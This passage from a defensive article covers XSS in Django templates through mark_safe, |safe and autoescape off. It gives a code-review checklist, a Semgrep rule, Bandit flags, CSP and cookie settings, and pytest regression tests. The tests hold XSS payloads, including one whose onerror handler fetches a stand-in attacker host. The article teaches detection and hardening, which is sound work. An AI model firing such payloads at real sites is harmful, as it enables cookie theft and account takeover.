&lt;span class="c1"&gt;# Case 2: f-string with SafeString as format base -&amp;gt; SafeString -&amp;gt; no escape
&lt;/span&gt;&lt;span class="n"&gt;result2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mark_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;safe&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# &amp;lt;class 'django.utils.safestring.SafeString'&amp;gt; — NOT escaped
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Case 2 is exactly the vulnerable pattern in the view above. The &lt;code&gt;mark_safe()&lt;/code&gt; wraps the f-string result, not the individual pieces.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The &lt;code&gt;|safe&lt;/code&gt; filter in templates is just as dangerous as &lt;code&gt;mark_safe()&lt;/code&gt; in views.&lt;/strong&gt; Reviewers often focus on Python files and miss:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- This escapes nothing. attacker_value renders raw. --&amp;gt;&lt;/span&gt;
{{ attacker_value|safe }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;{% autoescape off %}&lt;/code&gt; blocks propagate into includes.&lt;/strong&gt; If a base template or inclusion tag disables autoescape, every child template rendered inside that block inherits the off state. This is a common gotcha with legacy template hierarchies where someone disabled autoescape "temporarily" in a wrapper and never re-enabled it. Variables in &lt;code&gt;{% include "partial.html" %}&lt;/code&gt; inside an &lt;code&gt;{% autoescape off %}&lt;/code&gt; block will not be escaped even if the partial itself does not set autoescape explicitly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inclusion tags that return &lt;code&gt;SafeString&lt;/code&gt; from Python bleed into the template context.&lt;/strong&gt; A &lt;code&gt;@register.simple_tag&lt;/code&gt; that returns a &lt;code&gt;mark_safe()&lt;/code&gt; value bypasses autoescape entirely when rendered in the template, even with autoescape on.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code Review Checklist for Django Templates
&lt;/h2&gt;

&lt;p&gt;Every instance of &lt;code&gt;mark_safe&lt;/code&gt;, &lt;code&gt;|safe&lt;/code&gt;, &lt;code&gt;SafeString&lt;/code&gt;, and &lt;code&gt;{% autoescape off %}&lt;/code&gt; in a Django codebase is a security decision that needs a written justification. When reviewing a PR, treat any of these as requiring the same rigor as a direct SQL query.&lt;/p&gt;

&lt;p&gt;Grep the entire repo in one pass:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Surface all mark_safe, |safe, SafeString, autoescape off, and format_html&lt;/span&gt;
&lt;span class="c"&gt;# usages in Python and HTML files. Pipe to less for review.&lt;/span&gt;
rg &lt;span class="nt"&gt;--type&lt;/span&gt; py &lt;span class="nt"&gt;--type&lt;/span&gt; html &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'mark_safe'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'\|safe'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'SafeString'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'autoescape off'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'format_html'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--stats&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For each hit, answer these questions before approving:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Is the input ever attacker-reachable?&lt;/strong&gt; Trace the data back to its source. If it touches &lt;code&gt;request.GET&lt;/code&gt;, &lt;code&gt;request.POST&lt;/code&gt;, &lt;code&gt;request.META&lt;/code&gt;, a database field populated from user input, or a third-party API, it is tainted.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;If &lt;code&gt;format_html&lt;/code&gt; is used, are all variable interpolations passed as arguments (not in the format string)?&lt;/strong&gt; &lt;code&gt;format_html("Hello, " + name)&lt;/code&gt; is still broken — the format string must be a literal.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;If &lt;code&gt;mark_safe&lt;/code&gt; is used, is this the only place that string can be created?&lt;/strong&gt; If other code paths can produce the same variable, each one needs the same audit.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Does the &lt;code&gt;{% autoescape off %}&lt;/code&gt; block have a documented reason?&lt;/strong&gt; Add a comment inline: &lt;code&gt;{# autoescape off: rendering pre-escaped HTML from email template builder — input validated at creation time #}&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;a href="https://www.codereviewlab.com/learning/xss-code-review-guide" rel="noopener noreferrer"&gt;XSS code review guide on Code Review Lab&lt;/a&gt; has a full taint-tracking walkthrough that complements this checklist, especially for cases where data flows through multiple serialization layers before hitting the template.&lt;/p&gt;

&lt;p&gt;Semgrep rule to add to your CI config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# semgrep-rules/django-mark-safe.yml&lt;/span&gt;
&lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;django-mark-safe-with-request-data&lt;/span&gt;
    &lt;span class="na"&gt;patterns&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mark_safe(...)&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern-either&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mark_safe($REQUEST.GET.get(...))&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mark_safe($REQUEST.POST.get(...))&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mark_safe(f"...{$REQUEST.GET.get(...)}...")&lt;/span&gt;
    &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mark_safe&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;called&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;with&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;request-derived&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;—&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;this&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;XSS."&lt;/span&gt;
    &lt;span class="na"&gt;languages&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;python&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ERROR&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Detecting Regressions With Tests and CI
&lt;/h2&gt;

&lt;p&gt;Static analysis catches patterns, but tests catch behavior. Add a test that sends a known XSS payload and asserts it was escaped in the response body.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# tests/test_xss_escaping.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pytest&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.test&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Client&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.urls&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt;

&lt;span class="nd"&gt;@pytest.mark.django_db&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestSearchXSSEscaping&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;setup_method&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_script_tag_is_escaped_in_search_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;reverse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;search_results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;q&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;

        &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# The literal string must never appear — if it does, the browser executes it.
&lt;/span&gt;        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Raw &amp;lt;script&amp;gt; tag found in response — autoescape is broken.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# The escaped form must be present — proves the value was rendered, not dropped.
&lt;/span&gt;        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;amp;lt;script&amp;amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;amp;lt;script&amp;amp;gt; not found — value may have been silently dropped rather than escaped.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_img_onerror_payload_is_escaped&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;img src=x onerror=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fetch(&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s"&gt;//evil.example&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;reverse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;search_results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;q&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;

        &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;onerror=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;
        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;amp;lt;img&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_safe_html_in_response_is_structured_correctly&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# Sanity check: legitimate query still renders inside &amp;lt;strong&amp;gt; tags.
&lt;/span&gt;        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;reverse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;search_results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;q&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello world&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;strong&amp;gt;hello world&amp;lt;/strong&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run these in CI on every PR that touches views, templates, or template tags. If &lt;code&gt;mark_safe&lt;/code&gt; is introduced in the diff, the &lt;code&gt;test_script_tag_is_escaped_in_search_results&lt;/code&gt; test will catch the regression immediately — before it reaches staging.&lt;/p&gt;

&lt;p&gt;Add Bandit to your pipeline for the Python-side check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# bandit flags mark_safe calls; combine with the semgrep rule above&lt;/span&gt;
bandit &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; B703,B308 &lt;span class="nt"&gt;--severity-level&lt;/span&gt; medium
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;B308 specifically targets &lt;code&gt;mark_safe&lt;/code&gt; usage. B703 covers Django's &lt;code&gt;format_html&lt;/code&gt; misuse. Neither replaces taint analysis, but both are fast enough to run on every commit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardening Beyond the Template Layer
&lt;/h2&gt;

&lt;p&gt;Fixing the template is necessary but not sufficient. If another &lt;code&gt;mark_safe&lt;/code&gt; slip lands in a codebase a year from now, you want defense layers that limit the damage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Content Security Policy with nonces.&lt;/strong&gt; A strict CSP blocks inline script execution even if an attacker injects a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag. Configure Django with &lt;code&gt;django-csp&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# settings.py
&lt;/span&gt;&lt;span class="n"&gt;CSP_DEFAULT_SRC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;self&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt;
&lt;span class="n"&gt;CSP_SCRIPT_SRC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;self&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;nonce-{nonce}&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# nonce injected per-request by middleware
&lt;/span&gt;&lt;span class="n"&gt;CSP_STYLE_SRC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;self&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt;
&lt;span class="n"&gt;CSP_IMG_SRC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;self&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;CSP_OBJECT_SRC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;none&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt;
&lt;span class="n"&gt;CSP_BASE_URI&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;none&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt;  &lt;span class="c1"&gt;# Blocks base tag injection for relative URL hijacking
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A nonce-based CSP stops the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; execution path. The &lt;code&gt;onerror=&lt;/code&gt; payload in an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag still fires because it's an event handler attribute, not a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag — CSP stops inline scripts, not all event handlers unless you add &lt;code&gt;unsafe-hashes&lt;/code&gt; or switch to a hash-based policy. Trusted Types (available in Chromium-based browsers) blocks DOM injection sinks directly and is worth evaluating if your audience is Chrome-heavy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;HttpOnly&lt;/code&gt; and &lt;code&gt;SameSite&lt;/code&gt; cookies.&lt;/strong&gt; Verify these in &lt;code&gt;settings.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;SESSION_COOKIE_HTTPONLY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;   &lt;span class="c1"&gt;# Blocks document.cookie access from JS
&lt;/span&gt;&lt;span class="n"&gt;SESSION_COOKIE_SAMESITE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Lax&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# Blocks cross-site request forgery vectors
&lt;/span&gt;&lt;span class="n"&gt;CSRF_COOKIE_HTTPONLY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;CSRF_COOKIE_SAMESITE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Strict&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;SameSite=Lax&lt;/code&gt; prevents the session cookie from being sent on cross-origin POST requests but still allows top-level navigations, which is what the attacker's crafted link relies on. &lt;code&gt;SameSite=Strict&lt;/code&gt; is stronger but breaks OAuth redirect flows. Know which one your app can tolerate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trusted Types.&lt;/strong&gt; Add the header alongside CSP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: require-trusted-types-for 'script';
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trusted Types turns DOM XSS sinks (&lt;code&gt;innerHTML&lt;/code&gt;, &lt;code&gt;document.write&lt;/code&gt;, etc.) into typed APIs. Untrusted string assignment to these sinks raises a &lt;code&gt;TypeError&lt;/code&gt; in supported browsers, making the &lt;code&gt;onerror&lt;/code&gt; fetch payload harder to chain into persistent DOM injection even if reflection happens.&lt;/p&gt;

&lt;p&gt;These controls are not replacements for fixing the template layer. They are the net underneath the trapeze.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.codereviewlab.com/learning/advanced-xss" rel="noopener noreferrer"&gt;Advanced XSS exploitation techniques&lt;/a&gt; — Code Review Lab's deep-dive on exploitation chains beyond basic reflection, including DOM-based and mutation XSS.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.codereviewlab.com/learning/xss-code-review-guide" rel="noopener noreferrer"&gt;XSS code review guide&lt;/a&gt; — taint-tracking methodology and PR review patterns for finding XSS in Python web frameworks.&lt;/li&gt;
&lt;li&gt;
